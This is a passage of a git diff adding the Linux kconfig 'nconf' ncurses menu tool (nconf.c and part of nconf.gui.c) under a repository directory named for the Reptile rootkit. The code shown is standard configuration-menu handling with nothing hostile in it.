'Selects:' line tells, what symbol will be automatically selected\n" +" if this symbol is selected (y or m).\n" +"o The 'Selected by' line tells what symbol has selected this symbol.\n" +"\n" +"Only relevant lines are shown.\n" +"\n\n" +"Search examples:\n" +"USB => find all symbols containing USB\n" +"^USB => find all symbols starting with USB\n" +"USB$ => find all symbols ending with USB\n" +"\n"); + +struct mitem { + char str[256]; + char tag; + void *usrptr; + int is_visible; +}; + +#define MAX_MENU_ITEMS 4096 +static int show_all_items; +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +/* the window in which all information appears */ +static WINDOW *main_window; +/* the largest size of the menu window */ +static int mwin_max_lines; +static int mwin_max_cols; +/* the window in which we show option buttons */ +static MENU *curses_menu; +static ITEM *curses_menu_items[MAX_MENU_ITEMS]; +static struct mitem k_menu_items[MAX_MENU_ITEMS]; +static int items_num; +static int global_exit; +/* the currently selected button */ +const char *current_instructions = menu_instructions; + +static char *dialog_input_result; +static int dialog_input_result_len; + +static void conf(struct menu *menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static void show_help(struct menu *menu); +static int do_exit(void); +static void setup_windows(void); +static void search_conf(void); + +typedef void (*function_key_handler_t)(int *key, struct menu *menu); +static void handle_f1(int *key, struct menu *current_item); +static void handle_f2(int *key, struct menu *current_item); +static void handle_f3(int *key, struct menu *current_item); +static void handle_f4(int *key, struct menu *current_item); +static void handle_f5(int *key, struct menu *current_item); +static void handle_f6(int *key, struct menu *current_item); +static void handle_f7(int *key, struct menu *current_item); +static void handle_f8(int *key, struct menu *current_item); +static void handle_f9(int *key, struct menu *current_item); + +struct function_keys { + const char *key_str; + const char *func; + function_key key; + function_key_handler_t handler; +}; + +static const int function_keys_num = 9; +struct function_keys function_keys[] = { + { + .key_str = "F1", + .func = "Help", + .key = F_HELP, + .handler = handle_f1, + }, + { + .key_str = "F2", + .func = "SymInfo", + .key = F_SYMBOL, + .handler = handle_f2, + }, + { + .key_str = "F3", + .func = "Help 2", + .key = F_INSTS, + .handler = handle_f3, + }, + { + .key_str = "F4", + .func = "ShowAll", + .key = F_CONF, + .handler = handle_f4, + }, + { + .key_str = "F5", + .func = "Back", + .key = F_BACK, + .handler = handle_f5, + }, + { + .key_str = "F6", + .func = "Save", + .key = F_SAVE, + .handler = handle_f6, + }, + { + .key_str = "F7", + .func = "Load", + .key = F_LOAD, + .handler = handle_f7, + }, + { + .key_str = "F8", + .func = "SymSearch", + .key = F_SEARCH, + .handler = handle_f8, + }, + { + .key_str = "F9", + .func = "Exit", + .key = F_EXIT, + .handler = handle_f9, + }, +}; + +static void print_function_line(void) +{ + int i; + int offset = 1; + const int skip = 1; + int lines = getmaxy(stdscr); + + for (i = 0; i < function_keys_num; i++) { + (void) wattrset(main_window, attributes[FUNCTION_HIGHLIGHT]); + mvwprintw(main_window, lines-3, offset, + "%s", + function_keys[i].key_str); + (void) wattrset(main_window, attributes[FUNCTION_TEXT]); + offset += strlen(function_keys[i].key_str); + mvwprintw(main_window, lines-3, + offset, "%s", + function_keys[i].func); + offset += strlen(function_keys[i].func) + skip; + } + (void) wattrset(main_window, attributes[NORMAL]); +} + +/* help */ +static void handle_f1(int *key, struct menu *current_item) +{ + show_scroll_win(main_window, + _("Global help"), _(nconf_global_help)); + return; +} + +/* symbole help */ +static void handle_f2(int *key, struct menu *current_item) +{ + show_help(current_item); + return; +} + +/* instructions */ +static void handle_f3(int *key, struct menu *current_item) +{ + show_scroll_win(main_window, + _("Short help"), + _(current_instructions)); + return; +} + +/* config */ +static void handle_f4(int *key, struct menu *current_item) +{ + int res = btn_dialog(main_window, + _("Show all symbols?"), + 2, + " ", + ""); + if (res == 0) + show_all_items = 1; + else if (res == 1) + show_all_items = 0; + + return; +} + +/* back */ +static void handle_f5(int *key, struct menu *current_item) +{ + *key = KEY_LEFT; + return; +} + +/* save */ +static void handle_f6(int *key, struct menu *current_item) +{ + conf_save(); + return; +} + +/* load */ +static void handle_f7(int *key, struct menu *current_item) +{ + conf_load(); + return; +} + +/* search */ +static void handle_f8(int *key, struct menu *current_item) +{ + search_conf(); + return; +} + +/* exit */ +static void handle_f9(int *key, struct menu *current_item) +{ + do_exit(); + return; +} + +/* return != 0 to indicate the key was handles */ +static int process_special_keys(int *key, struct menu *menu) +{ + int i; + + if (*key == KEY_RESIZE) { + setup_windows(); + return 1; + } + + for (i = 0; i < function_keys_num; i++) { + if (*key == KEY_F(function_keys[i].key) || + *key == '0' + function_keys[i].key){ + function_keys[i].handler(key, menu); + return 1; + } + } + + return 0; +} + +static void clean_items(void) +{ + int i; + for (i = 0; curses_menu_items[i]; i++) + free_item(curses_menu_items[i]); + bzero(curses_menu_items, sizeof(curses_menu_items)); + bzero(k_menu_items, sizeof(k_menu_items)); + items_num = 0; +} + +typedef enum {MATCH_TINKER_PATTERN_UP, MATCH_TINKER_PATTERN_DOWN, + FIND_NEXT_MATCH_DOWN, FIND_NEXT_MATCH_UP} match_f; + +/* return the index of the matched item, or -1 if no such item exists */ +static int get_mext_match(const char *match_str, match_f flag) +{ + int match_start = item_index(current_item(curses_menu)); + int index; + + if (flag == FIND_NEXT_MATCH_DOWN) + ++match_start; + else if (flag == FIND_NEXT_MATCH_UP) + --match_start; + + index = match_start; + index = (index + items_num) % items_num; + while (true) { + char *str = k_menu_items[index].str; + if (strcasestr(str, match_str) != 0) + return index; + if (flag == FIND_NEXT_MATCH_UP || + flag == MATCH_TINKER_PATTERN_UP) + --index; + else + ++index; + index = (index + items_num) % items_num; + if (index == match_start) + return -1; + } +} + +/* Make a new item. */ +static void item_make(struct menu *menu, char tag, const char *fmt, ...) +{ + va_list ap; + + if (items_num > MAX_MENU_ITEMS-1) + return; + + bzero(&k_menu_items[items_num], sizeof(k_menu_items[0])); + k_menu_items[items_num].tag = tag; + k_menu_items[items_num].usrptr = menu; + if (menu != NULL) + k_menu_items[items_num].is_visible = + menu_is_visible(menu); + else + k_menu_items[items_num].is_visible = 1; + + va_start(ap, fmt); + vsnprintf(k_menu_items[items_num].str, + sizeof(k_menu_items[items_num].str), + fmt, ap); + va_end(ap); + + if (!k_menu_items[items_num].is_visible) + memcpy(k_menu_items[items_num].str, "XXX", 3); + + curses_menu_items[items_num] = new_item( + k_menu_items[items_num].str, + k_menu_items[items_num].str); + set_item_userptr(curses_menu_items[items_num], + &k_menu_items[items_num]); + /* + if (!k_menu_items[items_num].is_visible) + item_opts_off(curses_menu_items[items_num], O_SELECTABLE); + */ + + items_num++; + curses_menu_items[items_num] = NULL; +} + +/* very hackish. adds a string to the last item added */ +static void item_add_str(const char *fmt, ...) +{ + va_list ap; + int index = items_num-1; + char new_str[256]; + char tmp_str[256]; + + if (index < 0) + return; + + va_start(ap, fmt); + vsnprintf(new_str, sizeof(new_str), fmt, ap); + va_end(ap); + snprintf(tmp_str, sizeof(tmp_str), "%s%s", + k_menu_items[index].str, new_str); + strncpy(k_menu_items[index].str, + tmp_str, + sizeof(k_menu_items[index].str)); + + free_item(curses_menu_items[index]); + curses_menu_items[index] = new_item( + k_menu_items[index].str, + k_menu_items[index].str); + set_item_userptr(curses_menu_items[index], + &k_menu_items[index]); +} + +/* get the tag of the currently selected item */ +static char item_tag(void) +{ + ITEM *cur; + struct mitem *mcur; + + cur = current_item(curses_menu); + if (cur == NULL) + return 0; + mcur = (struct mitem *) item_userptr(cur); + return mcur->tag; +} + +static int curses_item_index(void) +{ + return item_index(current_item(curses_menu)); +} + +static void *item_data(void) +{ + ITEM *cur; + struct mitem *mcur; + + cur = current_item(curses_menu); + if (!cur) + return NULL; + mcur = (struct mitem *) item_userptr(cur); + return mcur->usrptr; + +} + +static int item_is_tag(char tag) +{ + return item_tag() == tag; +} + +static char filename[PATH_MAX+1]; +static char menu_backtitle[PATH_MAX+128]; +static const char *set_config_filename(const char *config_filename) +{ + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; + return menu_backtitle; +} + +/* return = 0 means we are successful. + * -1 means go on doing what you were doing + */ +static int do_exit(void) +{ + int res; + if (!conf_get_changed()) { + global_exit = 1; + return 0; + } + res = btn_dialog(main_window, + _("Do you wish to save your new configuration?\n" + " to cancel and resume nconfig."), + 2, + " ", + ""); + if (res == KEY_EXIT) { + global_exit = 0; + return -1; + } + + /* if we got here, the user really wants to exit */ + switch (res) { + case 0: + res = conf_write(filename); + if (res) + btn_dialog( + main_window, + _("Error during writing of configuration.\n" + "Your configuration changes were NOT saved."), + 1, + ""); + break; + default: + btn_dialog( + main_window, + _("Your configuration changes were NOT saved."), + 1, + ""); + break; + } + global_exit = 1; + return 0; +} + + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dres = dialog_inputbox(main_window, + _("Search Configuration Parameter"), + str_get(&title), + "", &dialog_input_result, &dialog_input_result_len); + switch (dres) { + case 0: + break; + case 1: + show_scroll_win(main_window, + _("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sym_arr = sym_re_search(dialog_input); + res = get_relations_str(sym_arr, NULL); + free(sym_arr); + show_scroll_win(main_window, + _("Search Results"), str_get(&res)); + str_free(&res); + str_free(&title); +} + + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + + if (!menu || (!show_all_items && !menu_is_visible(menu))) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + enum prop_type ptype; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + switch (ptype) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make(menu, 'm', + "%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(menu, 'm', + " %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(menu, ':', + " %*c*** %s ***", + indent + 1, ' ', + _(prompt)); + } + break; + default: + if (prompt) { + child_count++; + item_make(menu, ':', "---%*c%s", + indent + 1, ' ', + _(prompt)); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make(menu, 't', "[%c]", + val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: + ch = '*'; + break; + case mod: + ch = 'M'; + break; + default: + ch = ' '; + break; + } + item_make(menu, 't', "<%c>", ch); + break; + } + } else { + item_make(menu, def_menu ? 't' : ':', " "); + } + + item_add_str("%*c%s", indent + 1, + ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", + _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make(menu, ':', + "---%*c%s", indent + 1, + ' ', _(menu_get_prompt(menu))); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(menu, ':', " "); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make(menu, 't', "[%c]", + val == no ? ' ' : '*'); + else + item_make(menu, 't', "-%c-", + val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: + ch = '*'; + break; + case mod: + ch = 'M'; + break; + default: + ch = ' '; + break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + item_make(menu, + 't', "{%c}", ch); + else + item_make(menu, + 't', "<%c>", ch); + } else + item_make(menu, 't', "-%c-", ch); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); + item_make(menu, 's', " (%s)", + sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', + _(menu_get_prompt(menu)), + (sym_has_value(sym) || + !sym_is_changable(sym)) ? "" : + _(" (NEW)")); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', + _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt && menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void reset_menu(void) +{ + unpost_menu(curses_menu); + clean_items(); +} + +/* adjust the menu to show this item. + * prefer not to scroll the menu if possible*/ +static void center_item(int selected_index, int *last_top_row) +{ + int toprow; + + set_top_row(curses_menu, *last_top_row); + toprow = top_row(curses_menu); + if (selected_index < toprow || + selected_index >= toprow+mwin_max_lines) { + toprow = max(selected_index-mwin_max_lines/2, 0); + if (toprow >= item_count(curses_menu)-mwin_max_lines) + toprow = item_count(curses_menu)-mwin_max_lines; + set_top_row(curses_menu, toprow); + } + set_current_item(curses_menu, + curses_menu_items[selected_index]); + *last_top_row = toprow; + post_menu(curses_menu); + refresh_all_windows(main_window); +} + +/* this function assumes reset_menu has been called before */ +static void show_menu(const char *prompt, const char *instructions, + int selected_index, int *last_top_row) +{ + int maxx, maxy; + WINDOW *menu_window; + + current_instructions = instructions; + + clear(); + (void) wattrset(main_window, attributes[NORMAL]); + print_in_middle(stdscr, 1, 0, getmaxx(stdscr), + menu_backtitle, + attributes[MAIN_HEADING]); + + (void) wattrset(main_window, attributes[MAIN_MENU_BOX]); + box(main_window, 0, 0); + (void) wattrset(main_window, attributes[MAIN_MENU_HEADING]); + mvwprintw(main_window, 0, 3, " %s ", prompt); + (void) wattrset(main_window, attributes[NORMAL]); + + set_menu_items(curses_menu, curses_menu_items); + + /* position the menu at the middle of the screen */ + scale_menu(curses_menu, &maxy, &maxx); + maxx = min(maxx, mwin_max_cols-2); + maxy = mwin_max_lines; + menu_window = derwin(main_window, + maxy, + maxx, + 2, + (mwin_max_cols-maxx)/2); + keypad(menu_window, TRUE); + set_menu_win(curses_menu, menu_window); + set_menu_sub(curses_menu, menu_window); + + /* must reassert this after changing items, otherwise returns to a + * default of 16 + */ + set_menu_format(curses_menu, maxy, 1); + center_item(selected_index, last_top_row); + set_menu_format(curses_menu, maxy, 1); + + print_function_line(); + + /* Post the menu */ + post_menu(curses_menu); + refresh_all_windows(main_window); +} + +static void adj_match_dir(match_f *match_direction) +{ + if (*match_direction == FIND_NEXT_MATCH_DOWN) + *match_direction = + MATCH_TINKER_PATTERN_DOWN; + else if (*match_direction == FIND_NEXT_MATCH_UP) + *match_direction = + MATCH_TINKER_PATTERN_UP; + /* else, do no change.. */ +} + +struct match_state +{ + int in_search; + match_f match_direction; + char pattern[256]; +}; + +/* Return 0 means I have handled the key. In such a case, ans should hold the + * item to center, or -1 otherwise. + * Else return -1 . + */ +static int do_match(int key, struct match_state *state, int *ans) +{ + char c = (char) key; + int terminate_search = 0; + *ans = -1; + if (key == '/' || (state->in_search && key == 27)) { + move(0, 0); + refresh(); + clrtoeol(); + state->in_search = 1-state->in_search; + bzero(state->pattern, sizeof(state->pattern)); + state->match_direction = MATCH_TINKER_PATTERN_DOWN; + return 0; + } else if (!state->in_search) + return 1; + + if (isalnum(c) || isgraph(c) || c == ' ') { + state->pattern[strlen(state->pattern)] = c; + state->pattern[strlen(state->pattern)] = '\0'; + adj_match_dir(&state->match_direction); + *ans = get_mext_match(state->pattern, + state->match_direction); + } else if (key == KEY_DOWN) { + state->match_direction = FIND_NEXT_MATCH_DOWN; + *ans = get_mext_match(state->pattern, + state->match_direction); + } else if (key == KEY_UP) { + state->match_direction = FIND_NEXT_MATCH_UP; + *ans = get_mext_match(state->pattern, + state->match_direction); + } else if (key == KEY_BACKSPACE || key == 127) { + state->pattern[strlen(state->pattern)-1] = '\0'; + adj_match_dir(&state->match_direction); + } else + terminate_search = 1; + + if (terminate_search) { + state->in_search = 0; + bzero(state->pattern, sizeof(state->pattern)); + move(0, 0); + refresh(); + clrtoeol(); + return -1; + } + return 0; +} + +static void conf(struct menu *menu) +{ + struct menu *submenu = 0; + const char *prompt = menu_get_prompt(menu); + struct symbol *sym; + int res; + int current_index = 0; + int last_top_row = 0; + struct match_state match_state = { + .in_search = 0, + .match_direction = MATCH_TINKER_PATTERN_DOWN, + .pattern = "", + }; + + while (!global_exit) { + reset_menu(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + + show_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + current_index, &last_top_row); + keypad((menu_win(curses_menu)), TRUE); + while (!global_exit) { + if (match_state.in_search) { + mvprintw(0, 0, + "searching: %s", match_state.pattern); + clrtoeol(); + } + refresh_all_windows(main_window); + res = wgetch(menu_win(curses_menu)); + if (!res) + break; + if (do_match(res, &match_state, ¤t_index) == 0) { + if (current_index != -1) + center_item(current_index, + &last_top_row); + continue; + } + if (process_special_keys(&res, + (struct menu *) item_data())) + break; + switch (res) { + case KEY_DOWN: + menu_driver(curses_menu, REQ_DOWN_ITEM); + break; + case KEY_UP: + menu_driver(curses_menu, REQ_UP_ITEM); + break; + case KEY_NPAGE: + menu_driver(curses_menu, REQ_SCR_DPAGE); + break; + case KEY_PPAGE: + menu_driver(curses_menu, REQ_SCR_UPAGE); + break; + case KEY_HOME: + menu_driver(curses_menu, REQ_FIRST_ITEM); + break; + case KEY_END: + menu_driver(curses_menu, REQ_LAST_ITEM); + break; + case 'h': + case '?': + show_help((struct menu *) item_data()); + break; + } + if (res == 10 || res == 27 || + res == 32 || res == 'n' || res == 'y' || + res == KEY_LEFT || res == KEY_RIGHT || + res == 'm') + break; + refresh_all_windows(main_window); + } + + refresh_all_windows(main_window); + /* if ESC or left*/ + if (res == 27 || (menu != &rootmenu && res == KEY_LEFT)) + break; + + /* remember location in the menu */ + last_top_row = top_row(curses_menu); + current_index = curses_item_index(); + + if (!item_tag()) + continue; + + submenu = (struct menu *) item_data(); + if (!submenu || !menu_is_visible(submenu)) + continue; + sym = submenu->sym; + + switch (res) { + case ' ': + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu); + break; + case KEY_RIGHT: + case 10: /* ENTER WAS PRESSED */ + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = + (void *) (long) !submenu->data; + else + conf(submenu); + break; + case 't': + if (sym_is_choice(sym) && + sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt && + submenu->prompt->type == P_MENU) + conf(submenu); + else if (res == 10) + sym_toggle_tristate_value(sym); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 'y': + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + btn_dialog(main_window, setmod_text, 0); + } + break; + case 'n': + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 'm': + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + } + } +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[1024]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + btn_dialog(main_window, buf, 1, ""); +} + +static void show_help(struct menu *menu) +{ + struct gstr help; + + if (!menu) + return; + + help = str_new(); + menu_get_ext_help(menu, &help); + show_scroll_win(main_window, _(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child = 0; + struct symbol *active; + int selected_index = 0; + int last_top_row = 0; + int res, i = 0; + struct match_state match_state = { + .in_search = 0, + .match_direction = MATCH_TINKER_PATTERN_DOWN, + .pattern = "", + }; + + active = sym_get_choice_value(menu->sym); + /* this is mostly duplicated from the conf() function. */ + while (!global_exit) { + reset_menu(); + + for (i = 0, child = menu->list; child; child = child->next) { + if (!show_all_items && !menu_is_visible(child)) + continue; + + if (child->sym == sym_get_choice_value(menu->sym)) + item_make(child, ':', " %s", + _(menu_get_prompt(child))); + else if (child->sym) + item_make(child, ':', " %s", + _(menu_get_prompt(child))); + else + item_make(child, ':', "*** %s ***", + _(menu_get_prompt(child))); + + if (child->sym == active){ + last_top_row = top_row(curses_menu); + selected_index = i; + } + i++; + } + show_menu(prompt ? _(prompt) : _("Choice Menu"), + _(radiolist_instructions), + selected_index, + &last_top_row); + while (!global_exit) { + if (match_state.in_search) { + mvprintw(0, 0, "searching: %s", + match_state.pattern); + clrtoeol(); + } + refresh_all_windows(main_window); + res = wgetch(menu_win(curses_menu)); + if (!res) + break; + if (do_match(res, &match_state, &selected_index) == 0) { + if (selected_index != -1) + center_item(selected_index, + &last_top_row); + continue; + } + if (process_special_keys( + &res, + (struct menu *) item_data())) + break; + switch (res) { + case KEY_DOWN: + menu_driver(curses_menu, REQ_DOWN_ITEM); + break; + case KEY_UP: + menu_driver(curses_menu, REQ_UP_ITEM); + break; + case KEY_NPAGE: + menu_driver(curses_menu, REQ_SCR_DPAGE); + break; + case KEY_PPAGE: + menu_driver(curses_menu, REQ_SCR_UPAGE); + break; + case KEY_HOME: + menu_driver(curses_menu, REQ_FIRST_ITEM); + break; + case KEY_END: + menu_driver(curses_menu, REQ_LAST_ITEM); + break; + case 'h': + case '?': + show_help((struct menu *) item_data()); + break; + } + if (res == 10 || res == 27 || res == ' ' || + res == KEY_LEFT){ + break; + } + refresh_all_windows(main_window); + } + /* if ESC or left */ + if (res == 27 || res == KEY_LEFT) + break; + + child = item_data(); + if (!child || !menu_is_visible(child) || !child->sym) + continue; + switch (res) { + case ' ': + case 10: + case KEY_RIGHT: + sym_set_tristate_value(child->sym, yes); + return; + case 'h': + case '?': + show_help(child); + active = child->sym; + break; + case KEY_EXIT: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal nconf error!"); + } + res = dialog_inputbox(main_window, + prompt ? _(prompt) : _("Main Menu"), + heading, + sym_get_string_value(menu->sym), + &dialog_input_result, + &dialog_input_result_len); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, + dialog_input_result)) + return; + btn_dialog(main_window, + _("You have made an invalid entry."), 0); + break; + case 1: + show_help(menu); + break; + case KEY_EXIT: + return; + } + } +} + +static void conf_load(void) +{ + while (1) { + int res; + res = dialog_inputbox(main_window, + NULL, load_config_text, + filename, + &dialog_input_result, + &dialog_input_result_len); + switch (res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + btn_dialog(main_window, _("File does not exist!"), 0); + break; + case 1: + show_scroll_win(main_window, + _("Load Alternate Configuration"), + load_config_help); + break; + case KEY_EXIT: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + res = dialog_inputbox(main_window, + NULL, save_config_text, + filename, + &dialog_input_result, + &dialog_input_result_len); + switch (res) { + case 0: + if (!dialog_input_result[0]) + return; + res = conf_write(dialog_input_result); + if (!res) { + set_config_filename(dialog_input_result); + return; + } + btn_dialog(main_window, _("Can't create file! " + "Probably a nonexistent directory."), + 1, ""); + break; + case 1: + show_scroll_win(main_window, + _("Save Alternate Configuration"), + save_config_help); + break; + case KEY_EXIT: + return; + } + } +} + +void setup_windows(void) +{ + int lines, columns; + + getmaxyx(stdscr, lines, columns); + + if (main_window != NULL) + delwin(main_window); + + /* set up the menu and menu window */ + main_window = newwin(lines-2, columns-2, 2, 1); + keypad(main_window, TRUE); + mwin_max_lines = lines-7; + mwin_max_cols = columns-6; + + /* panels order is from bottom to top */ + new_panel(main_window); +} + +int main(int ac, char **av) +{ + int lines, columns; + char *mode; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("NCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + /* Initialize curses */ + initscr(); + /* set color theme */ + set_colors(); + + cbreak(); + noecho(); + keypad(stdscr, TRUE); + curs_set(0); + + getmaxyx(stdscr, lines, columns); + if (columns < 75 || lines < 20) { + endwin(); + printf("Your terminal should have at " + "least 20 lines and 75 columns\n"); + return 1; + } + + notimeout(stdscr, FALSE); +#if NCURSES_REENTRANT + set_escdelay(1); +#else + ESCDELAY = 1; +#endif + + /* set btns menu */ + curses_menu = new_menu(curses_menu_items); + menu_opts_off(curses_menu, O_SHOWDESC); + menu_opts_on(curses_menu, O_SHOWMATCH); + menu_opts_on(curses_menu, O_ONEVALUE); + menu_opts_on(curses_menu, O_NONCYCLIC); + menu_opts_on(curses_menu, O_IGNORECASE); + set_menu_mark(curses_menu, " "); + set_menu_fore(curses_menu, attributes[MAIN_MENU_FORE]); + set_menu_back(curses_menu, attributes[MAIN_MENU_BACK]); + set_menu_grey(curses_menu, attributes[MAIN_MENU_GREY]); + + set_config_filename(conf_get_configname()); + setup_windows(); + + /* check for KEY_FUNC(1) */ + if (has_key(KEY_F(1)) == FALSE) { + show_scroll_win(main_window, + _("Instructions"), + _(menu_no_f_instructions)); + } + + conf_set_message_callback(conf_message_callback); + /* do the work */ + while (!global_exit) { + conf(&rootmenu); + if (!global_exit && do_exit() == 0) + break; + } + /* ok, we are done */ + unpost_menu(curses_menu); + free_menu(curses_menu); + delwin(main_window); + clear(); + refresh(); + endwin(); + return 0; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/nconf.gui.c b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.gui.c new file mode 100644 index 0000000..8275f0e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.gui.c @@ -0,0 +1,656 @@ +/* + * Copyright (C) 2008 Nir Tzachar 0) + win_rows = msg_lines+4; + else + win_rows = msg_lines+2; + + win = newwin(win_rows, total_width+4, y, x); + keypad(win, TRUE); + menu_win = derwin(win, 1, btns_width, win_rows-2, + 1+(total_width+2-btns_width)/2); + menu = new_menu(btns); + msg_win = derwin(win, win_rows-2, msg_width, 1, + 1+(total_width+2-msg_width)/2); + + set_menu_fore(menu, attributes[DIALOG_MENU_FORE]); + set_menu_back(menu, attributes[DIALOG_MENU_BACK]); + + (void) wattrset(win, attributes[DIALOG_BOX]); + box(win, 0, 0); + + /* print message */ + (void) wattrset(msg_win, attributes[DIALOG_TEXT]); + fill_window(msg_win, msg); + + set_menu_win(menu, win); + set_menu_sub(menu, menu_win); + set_menu_format(menu, 1, btn_num); + menu_opts_off(menu, O_SHOWDESC); + menu_opts_off(menu, O_SHOWMATCH); + menu_opts_on(menu, O_ONEVALUE); + menu_opts_on(menu, O_NONCYCLIC); + set_menu_mark(menu, ""); + post_menu(menu); + + + touchwin(win); + refresh_all_windows(main_window); + while ((res = wgetch(win))) { + switch (res) { + case KEY_LEFT: + menu_driver(menu, REQ_LEFT_ITEM); + break; + case KEY_RIGHT: + menu_driver(menu, REQ_RIGHT_ITEM); + break; + case 10: /* ENTER */ + case 27: /* ESCAPE */ + case ' ': + case KEY_F(F_BACK): + case KEY_F(F_EXIT): + break; + } + touchwin(win); + refresh_all_windows(main_window); + + if (res == 10 || res == ' ') { + res = item_index(current_item(menu)); + break; + } else if (res == 27 || res == KEY_F(F_BACK) || + res == KEY_F(F_EXIT)) { + res = KEY_EXIT; + break; + } + } + + unpost_menu(menu); + free_menu(menu); + for (i = 0; i < btn_num; i++) + free_item(btns[i]); + + delwin(win); + return res; +} + +int dialog_inputbox(WINDOW *main_window, + const char *title, const char *prompt, + const char *init, char **resultp, int *result_len) +{ + int prompt_lines = 0; + int prompt_width = 0; + WINDOW *win; + WINDOW *prompt_win; + WINDOW *form_win; + PANEL *panel; + int i, x, y; + int res = -1; + int cursor_position = strlen(init); + int cursor_form_win; + char *result = *resultp; + + if (strlen(init)+1 > *result_len) { + *result_len = strlen(init)+1; + *resultp = result = realloc(result, *result_len); + } + + /* find the widest line of msg: */ + prompt_lines = get_line_no(prompt); + for (i = 0; i < prompt_lines; i++) { + const char *line = get_line(prompt, i); + int len = get_line_length(line); + prompt_width = max(prompt_width, len); + } + + if (title) + prompt_width = max(prompt_width, strlen(title)); + + /* place dialog in middle of screen */ + y = (getmaxy(stdscr)-(prompt_lines+4))/2; + x = (getmaxx(stdscr)-(prompt_width+4))/2; + + strncpy(result, init, *result_len); + + /* create the windows */ + win = newwin(prompt_lines+6, prompt_width+7, y, x); + prompt_win = derwin(win, prompt_lines+1, prompt_width, 2, 2); + form_win = derwin(win, 1, 